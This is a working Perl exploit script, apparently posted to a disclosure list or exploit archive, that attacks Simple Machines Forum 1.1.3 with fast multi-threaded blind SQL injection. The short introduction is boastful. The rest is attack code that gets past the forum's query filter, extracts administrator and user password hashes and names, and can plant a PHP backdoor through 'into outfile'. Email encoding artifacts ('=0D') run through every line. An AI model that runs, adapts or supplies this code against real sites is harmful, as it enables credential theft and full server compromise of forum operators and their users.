|  | 
SMF is a very hardened php application.  If anyone wants an example of some interesting PHP security  SMF is a good place to look.   Even after being able to injection SQL I had to take another step and bypass some difficult filters found in the db_query() function.   Ultimately i was able to do so. =0D
=0D
This exploit is using blind sql injection.  although you might not believe it on how fast it is.  It can take less than 20 seconds to obtain a 40byte hash on a remote server!  =0D
=0D
Be safe,=0D
Michael Brooks=0D
=0D
=0D
#!/usr/bin/perl=0D
=0D
#Written By Michael Brooks=0D
#contact: th3(dot)r00k(at)gmail(dot)com=0D
=0D
#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!=0D
#	-Binary Search=0D
#	-Multi-Threaded=0D
#	-NO benchmark()'s=0D
#=0D
#Two SQL Injection flaws.=0D
#Works with magic_quotes_gpc=On or Off. =0D
#Total Bypass of SMF's SQL Injection filter.=0D
=0D
#I submitted a patch for these flaws:=0D
#http://www.simplemachines.org/community/index.php?topic=196380.0=0D 
=0D
#I would like to thank RetroGod for being so skilled and willing to help me out. =0D
=0D
#**Warning** perl will somtimes seg fault when useing threads.=0D
#Tested Under Linux=0D
=0D
use LWP::UserAgent;=0D
use threads;=0D
use Thread::Semaphore;=0D
=0D
	#global variables=0D
	my $threads=1;=0D
	my $semaphore = new Thread::Semaphore; =0D
	my $globPos : shared=1;=0D
	my $oper : shared;=0D
	my @result : shared;=0D
	my $target;=0D
	my $cookie=false;=0D
	=0D
	$type="sleep";=0D
=0D
	main();#execute main=0D
	sub main{=0D
		$n=$threads;=0D
		$u=$p=$b=1;=0D
		$start_time=time;=0D
		$e=1;=0D
		#Process arguments passed by the command line.=0D
		for($v=0;$v<=$#ARGV;$v++){=0D
			if(substr($ARGV[$v],0,1) eq '-'){=0D
				$var=substr($ARGV[$v],1);=0D
				$$var=$ARGV[$v+1];=0D
			}=0D
		}=0D
		=0D
		@t=split('\?',$t);=0D
@t=split('index.php',@t[0]);=0D 
		$target=@t[0];=0D
		if(index($target,"/",length($target)-1)==-1){=0D
			$target=$target.'/';=0D
		}=0D
		if($e!=1){=0D
			print "\nExample:\n";=0D
print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D =0D 
\n\nSMF Is Vulnerable!=0D
Finding Password Hash for the Name: 'admin'=0D
Please Standby...=0D
=0D
Password Hash:=0D
1d94709528bb1c83d08f3088d4043f4742891f4f=0D
This attack used 161 HTTP requests and took 8 seconds to complete.=0D
EOF\n\n";=0D
			die();=0D
		}=0D
		$cookie=$c;=0D
		$user=$u;=0D
		if($n != 1){=0D
			$threads=$n;=0D
		}=0D
		#Check to make sure the target is vulnerable=0D
		if($b!=1||$p!=1){=0D
			$vulnerable=1;=0D
			#Yes I am assuming the default table prefix,  its a shame you can't access information_schema.=0D
			#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!=0D
			bin_finder(2,1,"1","smf_members","and 1!=1");=0D
			if(int(@result[0])!=0){=0D
				$vulnerable=0;=0D
			}=0D
			$globPos=1;=0D
			bin_finder(2,1,"1","smf_members","and 1=1");=0D
			if(int(@result[0])!=1){=0D
				$vulnerable=0;=0D
			}=0D
			if($vulnerable==1){=0D
				print "SMF Is Vulnerable!\n"=0D
			}else{=0D
				print "\nATTACK FAILED!\n\n";=0D
				if($cookie){=0D
					print "Try sending a private message to your self or SMF might be patched.\n"=0D
				}else{=0D
					print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"=0D
				}=0D
				die();=0D
			}=0D
		}=0D
=0D
		$m=0;=0D
		if($p!=1){=0D
			if($user != 1){=0D
				print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";				=0D
				for(my $x=0;$x<$threads;$x++){=0D
					#@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";=0D
					@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);=0D
				}=0D
				for(my $x=0;$x<$threads;$x++){=0D
					@threads[$x]->join;=0D
				}=0D
				print "\nPassword Hash:\n";=0D
				foreach $y (@result){=0D
					print sprintf("%x",$y);=0D
				}=0D
			}else{#=0D
				print "Finding An Administrative Credental.\n Please Standby...\n";=0D
				#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread=0D
				#$admin_count=@result[0];=0D
				#$globPos=1;=0D
				#print "There are $admin_count admins on this forum.\n";=0D
				#for($a=0;$a<$admin_count;$a++){=0D
					for(my $x=0;$x<$threads;$x++){=0D
						@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1  ";=0D
					}=0D
					for(my $x=0;$x<$threads;$x++){=0D
						@threads[$x]->join;=0D
					}=0D
					print "\nPassword Hash:\n";=0D
					foreach $y (@result){=0D
						print sprintf("%x",$y);=0D
					}=0D
					$globPos=1;=0D
					bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1  ");#single thread=0D
					$name_len=@result[0];=0D
					$globPos=1;=0D
					=0D
					for($x=0;$x<$threads;$x++){=0D
						@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1  ";=0D
					}=0D
					for($x=0;$x<$threads;$x++){=0D
						@threads[$x]->join;=0D
					}=0D
					print "\nName:\n";=0D
					for($l=0;$l<=$name_len;$l++){=0D
						print sprintf("%c",@result[$l]);=0D
					}=0D
					print "\n";=0D
					@result=null;=0D
					$globPos=1;=0D
				#}=0D
			}=0D
		}elsif($b!=1){=0D
			if(!$cookie){=0D
				die("\nA cookie is needed for this attack!\n");=0D
			}=0D
			print "Determining the exact path to place the backdoor. \n Please standby...\n";=0D
			bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread=0D
			$length=@result[0];=0D
			$globPos=1;=0D
			for(my $x=0;$x<$threads;$x++){=0D
				@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";=0D
			}=0D
		=0D
			for(my $x=0;$x<$threads;$x++){=0D
				@threads[$x]->join;=0D
			}=0D
			$path='';=0D
			print "Path Disclosed:";=0D
			foreach $y (@result){=0D
				$path.=sprintf("%c" ,$y);=0D
			}=0D
			print $path."\n";=0D
			#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.=0D
			#$path=~s/%/*/g;=0D
			$r=rand();#Random file name so the attack will succeed multiple times against the same target. =0D
			my $ua = LWP::UserAgent->new;=0D
			$ua->agent("Firebird");=0D
			$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.=0D
			$load="\\,union select ".hex_encode("").' into outfile  "","'.$path.'/'.$r.'.php",""#';		=0D
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);=0D
			$oper++;=0D
			print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"=0D
		}else{=0D
			$m=1;=0D
			print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";=0D
			print "-p		obtain passwords (if used without -u,  then an admin credential will be obtained)\n";=0D
			print "-b		installs a backdoor using 'into outfile'. (requires -c)  **WARNING** SMF will log this as a single 'Hacking Attempt'!\n"; =0D
			print "-t 		target\n";=0D
			print "-c		A valid cookie(Much faster attack)\n";=0D
			print "\nAditional:\n";=0D
			print "-u		obtains the password for a user name\n";=0D
			print "-n		number of threads\n";=0D
			print "-e		Shows an Example.\n"=0D
			print "The password hash is generated as:\n";=0D
			print "sha1(strtolower($username) . $password);\n\n";=0D
=0D
		}=0D
		if($m!=1){=0D
			$t=time-$start_time;=0D
			print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";=0D
			print "\nEOF\n";=0D
		}=0D
	}=0D
	=0D
	#Takes complex input to build the request,  returns a simple bool. =0D
	sub bin_ask{=0D
		my $if = shift;=0D
		my $table=shift;=0D
		my $where = shift;=0D
		my $ua = shift;=0D
		my $f=0;=0D
		if(!$cookie){=0D
			#no union select or sub-select needed for this attack!=0D
			$a=time();=0D
			#die($where);=0D
			#$where="and realName = ".hex_encode("admin");=0D
			$load="\"\\\",\" or  (IF(".$if.",sleep(10),1) $where) limit 1,1 #\"";	=0D
			$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.=0D
			$load=~s/%/*/g;=0D
			$tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);=0D
			$page= $tst->content;=0D
			#print "
page:".$page;die;=0D
			$t= time();=0D
			#print "\n 1:time\n".$t."\n\n";=0D
			if($t-$a>=10){=0D
				$f=1;=0D
			}=0D
		}else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.=0D
			$load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF		=0D
			$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);=0D
			$page= $tst->content;=0D
			#print $page; die ;		=0D
			if(index($page,"No Messages Found")==-1){=0D
				$f=1;=0D
			}=0D
		}=0D
		return $f;=0D
	}=0D
=0D
	#worker thread=0D
	sub bin_finder{=0D
		my $base=shift;=0D
		my $length=shift;=0D
		my $question=shift;=0D
		my $table=shift;=0D
		my $where=shift;=0D
		#One UserAgent object is used per thread.=0D
		my $ua = LWP::UserAgent->new;=0D
		$ua->agent("Firebird");=0D
		$ua->default_header("Cookie"=>$cookie);=0D
			=0D
		#binary search:=0D
		while($globPos<=$length){=0D
			$semaphore->down;=0D
				$c=$globPos;=0D
				$globPos++;	=0D
			$semaphore->up;=0D
			my $n=$base-1;=0D
			my $low=0;=0D
			my $floor= $low;=0D
			my $high=$n-1;=0D
			my $pos= $low+(($high-low)/2);=0D
			my $f=1;=0D
			while($low<=$high&&$f){=0D
				if(!$cookie){=0D
					$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters =0D
					 $less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;=0D
				}else{=0D
					$great=sprintf($question,$c).">".$pos;=0D
					$less=sprintf($question,$c)."<".$pos;				=0D
				}=0D
				if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos=0D
					$oper++;=0D
					if($pos==$n-1){#if this is true then the value must be the modulus. =0D
						@result[$c-1]=$pos+1;=0D
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";=0D
						$f=0;=0D
					}else{=0D
						$low=$pos+1;=0D
					}=0D
				}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos=0D
					$oper++;=0D
					if($pos==$floor+1){#if this is true the value must be zero.=0D
						@result[$c-1]=$pos-1;=0D
						#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";=0D
						$f=0;=0D
					}else{=0D
						$high=$pos-1;=0D
					}=0D
				}else{=0D
					#both greater than and less then where asked, so thats two http requests. =0D
					$oper++;=0D
					$oper++;=0D
					@result[$c-1]=$pos;=0D
					#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,=0D
					$f=0;=0D
				}=0D
				 $pos=$low+(($high-$low)/2);=0D
			}=0D
		}=0D
	}=0D
#hex_encode was ported from one of RetroGod's php exploits.=0D
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up.  =0D
#rGot you are leet!  =0D
sub hex_encode{=0D
  my $my_string=shift;=0D
  my $encoded="0x";=0D
  my $len=length($my_string);=0D
  for ($k=0; $k<$len; $k++){=0D
	$temp=sprintf("%X",ord(substr($my_string,$k,1)));=0D
	if (length($temp)==1) {=0D
		$temp="0".$temp;=0D
	}=0D
	$encoded.=$temp;=0D
  }=0D
  return $encoded;=0D
}